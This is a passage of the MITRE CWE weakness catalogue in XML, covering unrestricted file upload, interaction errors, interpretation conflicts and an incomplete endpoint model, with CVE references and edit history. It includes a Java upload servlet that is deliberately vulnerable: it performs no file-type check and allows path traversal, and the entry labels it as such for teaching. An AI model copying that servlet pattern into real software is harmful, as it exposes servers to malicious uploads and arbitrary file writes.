							              <Code>public class FileUploadServlet extends HttpServlet {</Code>
							              <Code/>
							              <Block>
								                <Code>...</Code>
								                <Code/>
								                <Code>protected void doPost(HttpServletRequest request,
									HttpServletResponse response) throws ServletException,
									IOException {</Code>
								                <Code/>
								                <Block>
									                  <Code>response.setContentType("text/html");</Code>
									                  <Code>PrintWriter out = response.getWriter();</Code>
									                  <Code>String contentType = request.getContentType();</Code>
									                  <Code/>
									                  <Code>// the starting position of the boundary header</Code>
									                  <Code>int ind = contentType.indexOf("boundary="); </Code>
									                  <Code>String boundary = contentType.substring(ind+9);</Code>
									                  <Code/>
									                  <Code>String pLine = new String(); </Code>
									                  <Code>String uploadLocation = new
										String(UPLOAD_DIRECTORY_STRING); //Constant value</Code>
									                  <Code/>
									                  <Code>// verify that content type is multipart form data </Code>
									                  <Code>if (contentType != null &amp;&amp;
										contentType.indexOf("multipart/form-data") != -1) {</Code>
									                  <Code/>
									                  <Block>
										                    <Code>// extract the filename from the Http header</Code>
										                    <Code>BufferedReader br = new BufferedReader(new
											InputStreamReader(request.getInputStream()));</Code>
										                    <Code>...</Code>
										                    <Code>pLine = br.readLine(); </Code>
										                    <Code>String filename =
											pLine.substring(pLine.lastIndexOf("\\"),
											pLine.lastIndexOf("\""));</Code>
										                    <Code>...</Code>
										                    <Code/>
										                    <Code>// output the file to the local upload
											directory</Code>
										                    <Code>try {</Code>
										                    <Block>
											                      <Code>BufferedWriter bw = new BufferedWriter(new
												FileWriter(uploadLocation+filename, true));</Code>
											                      <Code>for (String line; (line=br.readLine())!=null; )
												{</Code>
											                      <Block>
												                        <Code>if (line.indexOf(boundary) == -1) {</Code>
												                        <Block>
												                           <Code>bw.write(line);</Code>
												                           <Code>bw.newLine();</Code>
												                           <Code>bw.flush();</Code>
												                        </Block>
												                        <Code>}</Code>
											                      </Block>
											                      <Code>} //end of for loop</Code>
											                      <Code>bw.close(); </Code>
										                    </Block>
										                    <Code/>
										                    <Code>} catch (IOException ex) {...}</Code>
										                    <Code>// output successful upload response HTML page</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>// output unsuccessful upload response HTML page</Code>
									                  <Code>else </Code>
									                  <Code>{...}</Code>
								                </Block>
								                <Code>}</Code>
								                <Block>
									                  <Code>...</Code>
								                </Block>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>As with the previous example this code does not perform a check on the
							type of the file being uploaded. This could allow an attacker to upload
							any executable file or other file with malicious code.</Text>
						            <Text>Additionally, the creation of the BufferedWriter object is subject to
							relative path traversal (CWE-22, CWE-23). Depending on the executing
							environment, the attacker may be able to specify arbitrary files to
							write to, leading to a wide variety of consequences, from code
							execution, XSS (CWE-79), or system crash.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0901</Observed_Example_Reference>
					          <Observed_Example_Description>Web-based mail product stores ".shtml" attachments
						that could contain SSI</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1841</Observed_Example_Reference>
					          <Observed_Example_Description>PHP upload does not restrict file
						types</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1868</Observed_Example_Reference>
					          <Observed_Example_Description>upload and execution of .php
						file</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1881</Observed_Example_Reference>
					          <Observed_Example_Description>upload file with dangerous
						extension</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0254</Observed_Example_Reference>
					          <Observed_Example_Description>program does not restrict file
						types</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2262</Observed_Example_Reference>
					          <Observed_Example_Description>improper type checking of uploaded
						files</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-4558</Observed_Example_Reference>
					          <Observed_Example_Description>Double "php" extension leaves an active php
						extension in the generated filename.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-6994</Observed_Example_Reference>
					          <Observed_Example_Description>ASP program allows upload of .asp files by
						bypassing client-side checks</Observed_Example_Description>
					          <Observed_Example_Link>http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CVE-2006-6994</Observed_Example_Link>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3288</Observed_Example_Reference>
					          <Observed_Example_Description>ASP file upload</Observed_Example_Description>
					          <Observed_Example_Link>http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CVE-2005-3288</Observed_Example_Link>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-2428</Observed_Example_Reference>
					          <Observed_Example_Description>ASP file upload</Observed_Example_Description>
					          <Observed_Example_Link>http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CVE-2006-2428</Observed_Example_Link>
				        </Observed_Example>
			      </Observed_Examples>
			      <Functional_Areas>
				        <Functional_Area>File Processing</Functional_Area>
			      </Functional_Areas>
			      <Affected_Resources>
				        <Affected_Resource>File/Directory</Affected_Resource>
			      </Affected_Resources>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>PHP applications are most targeted, but this likely applies to other
						languages that support file upload, as well as non-web technologies. ASP
						applications have also demonstrated this problem.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference Local_Reference_ID="R.434.1">
					          <Reference_Author>Richard Stanway (r1CH)</Reference_Author>
					          <Reference_Title>Dynamic File Uploads, Security and You</Reference_Title>
					          <Reference_Link>http://shsc.info/FileUploadSecurity</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.434.2">
					          <Reference_Author>Johannes Ullrich</Reference_Author>
					          <Reference_Title>8 Basic Rules to Implement Secure File
						Uploads</Reference_Title>
					          <Reference_Date>2009-12-28</Reference_Date>
					          <Reference_Link>http://blogs.sans.org/appsecstreetfighter/2009/12/28/8-basic-rules-to-implement-secure-file-uploads/</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.434.3">
					          <Reference_Author>Johannes Ullrich</Reference_Author>
					          <Reference_Title>Top 25 Series - Rank 8 - Unrestricted Upload of Dangerous File
						Type</Reference_Title>
					          <Reference_Publisher>SANS Software Security Institute</Reference_Publisher>
					          <Reference_Date>2010-02-25</Reference_Date>
					          <Reference_Link>http://blogs.sans.org/appsecstreetfighter/2010/02/25/top-25-series-rank-8-unrestricted-upload-of-dangerous-file-type/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-31" Local_Reference_ID="R.434.4">
					          <Reference_Author>Sean Barnum</Reference_Author>
					          <Reference_Author>Michael Gegick</Reference_Author>
					          <Reference_Title>Least Privilege</Reference_Title>
					          <Reference_PubDate>2005-09-14</Reference_PubDate>
					          <Reference_Link>https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-7" Local_Reference_ID="R.434.5">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 17, "File Uploading", Page 1068.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Unrestricted File Upload</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2007">
					          <Mapped_Node_Name>Malicious File Execution</Mapped_Node_Name>
					          <Mapped_Node_ID>A3</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>1</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>122</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Functional_Areas,
						Likelihood_of_Exploit, Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal" Modification_Importance="Critical">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>converted from Compound_Element to
						Weakness</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Applicable_Platforms,
						Common_Consequences, Demonstrative_Examples, Name, Other_Notes,
						Potential_Mitigations, References, Related_Attack_Patterns,
						Relationship_Notes, Relationships, Type,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated References,
						Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, References,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2010-02-16">Unrestricted File
						Upload</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="435" Name="Interaction Error" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>An interaction error occurs when two entities work correctly
					when running independently, but they interact in unexpected ways when they are
					run together.</Description_Summary>
				        <Extended_Description>
					          <Text>This could apply to products, systems, components, etc.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>2</Relationship_Target_ID>
					          <!--Environment-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>902</Relationship_Target_ID>
					          <!--SFP Cluster: Channel-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>The "Interaction Error" term, in CWE and elsewhere, is only intended to
						describe products that behave according to specification. When one or more
						of the products do not comply with specifications, then it is more likely to
						be API Abuse (CWE-227) or an interpretation conflict (CWE-436). This
						distinction can be blurred in real world scenarios, especially when "de
						facto" standards do not comply with specifications, or when there are no
						standards but there is widespread adoption. As a result, it can be difficult
						to distinguish these weaknesses during mapping and classification.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Interaction Errors</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Relationship_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Interaction
						Errors</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="436" Name="Interpretation Conflict" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>Product A handles inputs or steps differently than Product B,
					which causes A to perform incorrect actions based on its perception of B's
					state.</Description_Summary>
				        <Extended_Description>
					          <Text>This is generally found in proxies, firewalls, anti-virus software, and
						other intermediary devices that allow, deny, or modify traffic based on how
						the client or server is expected to behave.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>435</Relationship_Target_ID>
					          <!--Interaction Error-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>902</Relationship_Target_ID>
					          <!--SFP Cluster: Channel-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>The classic multiple interpretation flaws were reported in a paper that
						described the limitations of intrusion detection systems. Ptacek and Newsham
						(see references below) showed that OSes varied widely in their behavior with
						respect to unusual network traffic, which made it difficult or impossible
						for intrusion detection systems to properly detect certain attacker
						manipulations that took advantage of the OS differences. Another classic
						multiple interpretation error is the "poison null byte" described by Rain
						Forest Puppy (see reference below), in which null characters have different
						interpretations in Perl and C, which have security consequences when Perl
						invokes C functions. Similar problems have been reported in ASP (see ASP
						reference below) and PHP. Some of the more complex web-based attacks, such
						as HTTP request smuggling, also involve multiple interpretation
						errors.</Text>
					          <Text>A comment on a way to manage these problems is in David Skoll in the
						reference below.</Text>
					          <Text>Manipulations are major factors in multiple interpretation errors, such as
						doubling, inconsistencies between related fields, and whitespace.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1215</Observed_Example_Reference>
					          <Observed_Example_Description>Bypass filters or poison web cache using requests
						with multiple Content-Length headers, a non-standard
						behavior.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0485</Observed_Example_Reference>
					          <Observed_Example_Description>Anti-virus product allows bypass via Content-Type
						and Content-Disposition headers that are mixed case, which are still
						processed by some clients.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1978</Observed_Example_Reference>
					          <Observed_Example_Description>FTP clients sending a command with "PASV" in the
						argument can cause firewalls to misinterpret the server's error as a valid
						response, allowing filter bypass.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1979</Observed_Example_Reference>
					          <Observed_Example_Description>FTP clients sending a command with "PASV" in the
						argument can cause firewalls to misinterpret the server's error as a valid
						response, allowing filter bypass.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0637</Observed_Example_Reference>
					          <Observed_Example_Description>Virus product bypass with spaces between MIME
						header fields and the ":" separator, a non-standard message that is accepted
						by some clients.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1777</Observed_Example_Reference>
					          <Observed_Example_Description>AV product detection bypass using inconsistency
						manipulation (file extension in MIME Content-Type vs. Content-Disposition
						field).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3310</Observed_Example_Reference>
					          <Observed_Example_Description>CMS system allows uploads of files with GIF/JPG
						extensions, but if they contain HTML, Internet Explorer renders them as HTML
						instead of images.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-4260</Observed_Example_Reference>
					          <Observed_Example_Description>Interpretation conflict allows XSS via invalid
						"&lt;" when a "&gt;" is expected, which is treated as "&gt;" by many web
						browsers.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-4080</Observed_Example_Reference>
					          <Observed_Example_Description>Interpretation conflict (non-standard behavior)
						enables XSS because browser ignores invalid characters in the middle of
						tags.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>Steve Christey</Reference_Author>
					          <Reference_Title>On Interpretation Conflict Vulnerabilities</Reference_Title>
					          <Reference_Publication>Bugtraq</Reference_Publication>
					          <Reference_Date>2005-11-03</Reference_Date>
				        </Reference>
				        <Reference>
					          <Reference_Author>Thomas H. Ptacek</Reference_Author>
					          <Reference_Author>Timothy N. Newsham</Reference_Author>
					          <Reference_Title>Insertion, Evasion, and Denial of Service: Eluding Network
						Intrusion Detection</Reference_Title>
					          <Reference_PubDate>January 1998</Reference_PubDate>
					          <Reference_Link>http://www.insecure.org/stf/secnet_ids/secnet_ids.pdf</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Brett Moore</Reference_Author>
					          <Reference_Title>0x00 vs ASP file upload scripts</Reference_Title>
					          <Reference_Date>2004-07-13</Reference_Date>
					          <Reference_Link>http://www.security-assessment.com/Whitepapers/0x00_vs_ASP_File_Uploads.pdf</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Rain Forest Puppy</Reference_Author>
					          <Reference_Title>Poison NULL byte</Reference_Title>
					          <Reference_Publication>Phrack</Reference_Publication>
				        </Reference>
				        <Reference>
					          <Reference_Author>David F. Skoll</Reference_Author>
					          <Reference_Title>Re: Corsaire Security Advisory - Multiple vendor MIME RFC2047
						encoding</Reference_Title>
					          <Reference_Publication>Bugtraq</Reference_Publication>
					          <Reference_Date>2004-09-15</Reference_Date>
					          <Reference_Link>http://marc.theaimsgroup.com/?l=bugtraq&amp;m=109525864717484&amp;w=2</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Multiple Interpretation Error (MIE)</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>HTTP Response Smuggling </Mapped_Node_Name>
					          <Mapped_Node_ID>27</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>105</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>273</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>33</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Multiple Interpretation Error
						(MIE)</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="437" Name="Incomplete Model of Endpoint Features" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>A product acts as an intermediary or monitor between two or
					more endpoints, but it does not have a complete model of an endpoint's features,
					behaviors, or state, potentially causing the product to perform incorrect
					actions based on this incomplete model.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>436</Relationship_Target_ID>
					          <!--Interpretation Conflict-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>902</Relationship_Target_ID>
					          <!--SFP Cluster: Channel-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This can be related to interaction errors, although in some cases, one of
						the endpoints is not performing correctly according to specification.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
